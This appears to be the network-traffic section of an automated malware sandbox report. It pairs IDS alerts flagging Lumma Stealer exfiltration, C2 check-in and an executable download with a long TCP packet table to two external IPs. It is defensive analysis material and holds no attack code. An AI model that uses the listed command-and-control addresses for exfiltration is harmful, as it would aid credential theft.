2024-12-27T08:45:07.874754+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49709	172.67.165.185	443	TCP
2024-12-27T08:45:10.013249+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49711	172.67.165.185	443	TCP
2024-12-27T08:45:34.897030+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49766	172.67.165.185	443	TCP
2024-12-27T08:45:35.660328+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49766	172.67.165.185	443	TCP
2024-12-27T08:45:37.124371+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	49772	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 08:44:48.531451941 CET	49674	443	192.168.2.5	23.1.237.91
Dec 27, 2024 08:44:48.531491995 CET	49675	443	192.168.2.5	23.1.237.91
Dec 27, 2024 08:44:48.640790939 CET	49673	443	192.168.2.5	23.1.237.91
Dec 27, 2024 08:44:53.390233040 CET	49704	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:44:53.390294075 CET	443	49704	172.67.165.185	192.168.2.5
Dec 27, 2024 08:44:53.390394926 CET	49704	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:44:53.392411947 CET	49704	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:44:53.392421961 CET	443	49704	172.67.165.185	192.168.2.5
Dec 27, 2024 08:44:54.805541039 CET	443	49704	172.67.165.185	192.168.2.5
Dec 27, 2024 08:44:54.805660963 CET	49704	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:44:54.809648037 CET	49704	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:44:54.809659004 CET	443	49704	172.67.165.185	192.168.2.5
Dec 27, 2024 08:44:54.810168028 CET	443	49704	172.67.165.185	192.168.2.5
Dec 27, 2024 08:44:54.856347084 CET	49704	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:44:54.856389999 CET	49704	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:44:54.856677055 CET	443	49704	172.67.165.185	192.168.2.5
Dec 27, 2024 08:44:55.540608883 CET	443	49704	172.67.165.185	192.168.2.5
Dec 27, 2024 08:44:55.540690899 CET	443	49704	172.67.165.185	192.168.2.5
Dec 27, 2024 08:44:55.540774107 CET	49704	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:44:55.544590950 CET	49704	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:44:55.544590950 CET	49704	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:44:55.544611931 CET	443	49704	172.67.165.185	192.168.2.5
Dec 27, 2024 08:44:55.544620991 CET	443	49704	172.67.165.185	192.168.2.5
Dec 27, 2024 08:44:55.552566051 CET	49705	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:44:55.552594900 CET	443	49705	172.67.165.185	192.168.2.5
Dec 27, 2024 08:44:55.552798986 CET	49705	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:44:55.553044081 CET	49705	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:44:55.553051949 CET	443	49705	172.67.165.185	192.168.2.5
Dec 27, 2024 08:44:56.815009117 CET	443	49705	172.67.165.185	192.168.2.5
Dec 27, 2024 08:44:56.815090895 CET	49705	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:44:56.826245070 CET	49705	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:44:56.826256990 CET	443	49705	172.67.165.185	192.168.2.5
Dec 27, 2024 08:44:56.826519966 CET	443	49705	172.67.165.185	192.168.2.5
Dec 27, 2024 08:44:56.829433918 CET	49705	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:44:56.829451084 CET	49705	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:44:56.829492092 CET	443	49705	172.67.165.185	192.168.2.5
Dec 27, 2024 08:44:57.591440916 CET	443	49705	172.67.165.185	192.168.2.5
Dec 27, 2024 08:44:57.591479063 CET	443	49705	172.67.165.185	192.168.2.5
Dec 27, 2024 08:44:57.591502905 CET	443	49705	172.67.165.185	192.168.2.5
Dec 27, 2024 08:44:57.591541052 CET	443	49705	172.67.165.185	192.168.2.5
Dec 27, 2024 08:44:57.591563940 CET	443	49705	172.67.165.185	192.168.2.5
Dec 27, 2024 08:44:57.591681957 CET	49705	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:44:57.591681957 CET	49705	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:44:57.591696024 CET	443	49705	172.67.165.185	192.168.2.5
Dec 27, 2024 08:44:57.593163967 CET	49705	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:44:57.596137047 CET	443	49705	172.67.165.185	192.168.2.5
Dec 27, 2024 08:44:57.604487896 CET	443	49705	172.67.165.185	192.168.2.5
Dec 27, 2024 08:44:57.604549885 CET	49705	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:44:57.604576111 CET	443	49705	172.67.165.185	192.168.2.5
Dec 27, 2024 08:44:57.656399012 CET	49705	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:44:57.656443119 CET	443	49705	172.67.165.185	192.168.2.5
Dec 27, 2024 08:44:57.703237057 CET	49705	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:44:57.710915089 CET	443	49705	172.67.165.185	192.168.2.5
Dec 27, 2024 08:44:57.765794992 CET	49705	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:44:57.765815973 CET	443	49705	172.67.165.185	192.168.2.5
Dec 27, 2024 08:44:57.792447090 CET	443	49705	172.67.165.185	192.168.2.5
Dec 27, 2024 08:44:57.792537928 CET	49705	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:44:57.792551041 CET	443	49705	172.67.165.185	192.168.2.5
Dec 27, 2024 08:44:57.796188116 CET	443	49705	172.67.165.185	192.168.2.5
Dec 27, 2024 08:44:57.796247005 CET	49705	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:44:57.796260118 CET	443	49705	172.67.165.185	192.168.2.5
Dec 27, 2024 08:44:57.796288967 CET	443	49705	172.67.165.185	192.168.2.5
Dec 27, 2024 08:44:57.796350002 CET	49705	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:44:57.796475887 CET	49705	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:44:57.796475887 CET	49705	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:44:57.796504974 CET	443	49705	172.67.165.185	192.168.2.5
Dec 27, 2024 08:44:57.796521902 CET	443	49705	172.67.165.185	192.168.2.5
Dec 27, 2024 08:44:57.946254969 CET	49706	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:44:57.946311951 CET	443	49706	172.67.165.185	192.168.2.5
Dec 27, 2024 08:44:57.946417093 CET	49706	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:44:57.946726084 CET	49706	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:44:57.946739912 CET	443	49706	172.67.165.185	192.168.2.5
Dec 27, 2024 08:44:58.140711069 CET	49675	443	192.168.2.5	23.1.237.91
Dec 27, 2024 08:44:58.140712976 CET	49674	443	192.168.2.5	23.1.237.91
Dec 27, 2024 08:44:58.250108004 CET	49673	443	192.168.2.5	23.1.237.91
Dec 27, 2024 08:44:59.257267952 CET	443	49706	172.67.165.185	192.168.2.5
Dec 27, 2024 08:44:59.257356882 CET	49706	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:44:59.258625031 CET	49706	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:44:59.258632898 CET	443	49706	172.67.165.185	192.168.2.5
Dec 27, 2024 08:44:59.258852959 CET	443	49706	172.67.165.185	192.168.2.5
Dec 27, 2024 08:44:59.266676903 CET	49706	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:44:59.266828060 CET	49706	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:44:59.266854048 CET	443	49706	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:00.417098045 CET	443	49706	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:00.417185068 CET	443	49706	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:00.417347908 CET	49706	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:00.417481899 CET	49706	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:00.417500019 CET	443	49706	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:00.532807112 CET	49707	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:00.532849073 CET	443	49707	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:00.532952070 CET	49707	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:00.533287048 CET	49707	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:00.533298969 CET	443	49707	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:00.772696972 CET	443	49703	23.1.237.91	192.168.2.5
Dec 27, 2024 08:45:00.772814035 CET	49703	443	192.168.2.5	23.1.237.91
Dec 27, 2024 08:45:01.838143110 CET	443	49707	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:01.838280916 CET	49707	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:01.839540005 CET	49707	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:01.839548111 CET	443	49707	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:01.839771986 CET	443	49707	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:01.840894938 CET	49707	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:01.841033936 CET	49707	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:01.841063976 CET	443	49707	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:01.841326952 CET	49707	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:01.887336016 CET	443	49707	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:02.878562927 CET	443	49707	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:02.878648996 CET	443	49707	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:02.878699064 CET	49707	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:02.878818035 CET	49707	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:02.878833055 CET	443	49707	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:03.097477913 CET	49708	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:03.097532034 CET	443	49708	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:03.097604036 CET	49708	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:03.097910881 CET	49708	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:03.097928047 CET	443	49708	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:04.403774977 CET	443	49708	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:04.403882027 CET	49708	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:04.405194044 CET	49708	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:04.405213118 CET	443	49708	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:04.405442953 CET	443	49708	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:04.407550097 CET	49708	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:04.407738924 CET	49708	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:04.407762051 CET	443	49708	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:04.407840014 CET	49708	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:04.407854080 CET	443	49708	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:05.406656981 CET	443	49708	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:05.406754017 CET	443	49708	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:05.406830072 CET	49708	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:05.407025099 CET	49708	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:05.407044888 CET	443	49708	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:05.805304050 CET	49709	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:05.805336952 CET	443	49709	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:05.805576086 CET	49709	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:05.805778027 CET	49709	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:05.805787086 CET	443	49709	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:07.108844042 CET	443	49709	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:07.108902931 CET	49709	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:07.111037970 CET	49709	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:07.111047983 CET	443	49709	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:07.111285925 CET	443	49709	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:07.113084078 CET	49709	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:07.113188028 CET	49709	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:07.113193989 CET	443	49709	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:07.874752045 CET	443	49709	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:07.874856949 CET	443	49709	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:07.874975920 CET	49709	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:07.893455982 CET	49709	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:07.893484116 CET	443	49709	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:08.755434036 CET	49711	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:08.755479097 CET	443	49711	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:08.755650043 CET	49711	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:08.756026030 CET	49711	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:08.756035089 CET	443	49711	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:10.013165951 CET	443	49711	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:10.013248920 CET	49711	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:10.014846087 CET	49711	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:10.014858007 CET	443	49711	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:10.015094995 CET	443	49711	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:10.016417027 CET	49711	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:10.017215967 CET	49711	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:10.017246008 CET	443	49711	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:10.017339945 CET	49711	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:10.017368078 CET	443	49711	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:10.017508030 CET	49711	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:10.017524958 CET	443	49711	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:10.017617941 CET	49711	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:10.017632008 CET	443	49711	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:10.017734051 CET	49711	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:10.017752886 CET	443	49711	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:10.017867088 CET	49711	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:10.017890930 CET	443	49711	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:10.017899036 CET	49711	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:10.017920017 CET	443	49711	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:10.018008947 CET	49711	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:10.018029928 CET	443	49711	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:10.018045902 CET	49711	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:10.018151045 CET	49711	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:10.018186092 CET	49711	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:10.063334942 CET	443	49711	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:10.063478947 CET	49711	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:10.063524961 CET	49711	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:10.063550949 CET	49711	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:10.111327887 CET	443	49711	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:10.114406109 CET	49711	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:10.155324936 CET	443	49711	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:33.527506113 CET	443	49711	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:33.527626038 CET	443	49711	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:33.527676105 CET	49711	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:33.527800083 CET	49711	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:33.527817965 CET	443	49711	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:33.589967012 CET	49766	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:33.590012074 CET	443	49766	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:33.590090036 CET	49766	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:33.590403080 CET	49766	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:33.590419054 CET	443	49766	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:34.896922112 CET	443	49766	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:34.897030115 CET	49766	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:34.900619984 CET	49766	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:34.900626898 CET	443	49766	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:34.900885105 CET	443	49766	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:34.912812948 CET	49766	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:34.912872076 CET	49766	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:34.912889957 CET	443	49766	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:35.660326004 CET	443	49766	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:35.660439014 CET	443	49766	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:35.660499096 CET	49766	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:35.660686016 CET	49766	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:35.660706043 CET	443	49766	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:35.660718918 CET	49766	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:45:35.660725117 CET	443	49766	172.67.165.185	192.168.2.5
Dec 27, 2024 08:45:35.664283991 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:35.783788919 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:35.783874989 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:35.784024954 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:35.903542995 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.124252081 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.124289036 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.124304056 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.124327898 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.124371052 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.124385118 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.124399900 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.124399900 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.124414921 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.124435902 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.124577999 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.124624968 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.124635935 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.124649048 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.124691010 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.244081974 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.244097948 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.244180918 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.316119909 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.316169024 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.316237926 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.320362091 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.320460081 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.320508003 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.326677084 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.326797962 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.326853037 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.335072041 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.335182905 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.335241079 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.343451023 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.343549013 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.343597889 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.351846933 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.351929903 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.352016926 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.360200882 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.360286951 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.360368013 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.368570089 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.368671894 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.368748903 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.376976013 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.377053022 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.377106905 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.385550022 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.385616064 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.385662079 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.393685102 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.393759966 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.393806934 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.507932901 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.507951975 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.508003950 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.510407925 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.510541916 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.510596037 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.515386105 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.515475035 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.515523911 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.520338058 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.520431042 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.520481110 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.525281906 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.525672913 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.525801897 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.530029058 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.530141115 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.530185938 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.534794092 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.534914017 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.534969091 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.539581060 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.539689064 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.539751053 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.544322968 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.544517994 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.544567108 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.549094915 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.549211979 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.549288988 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.553864956 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.553971052 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.554058075 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.558660984 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.558957100 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.559077024 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.563384056 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.563519955 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.563581944 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.568159103 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.568259954 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.568325996 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.572907925 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.573021889 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.573067904 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.577670097 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.577779055 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.577841043 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.582438946 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.582541943 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.582591057 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.587155104 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.640676022 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.699820995 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.699917078 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.699992895 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.701739073 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.702500105 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.702552080 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.702596903 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.706562042 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.706629038 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.706670046 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.710561037 CET	80	49772	185.215.113.16	192.168.2.5
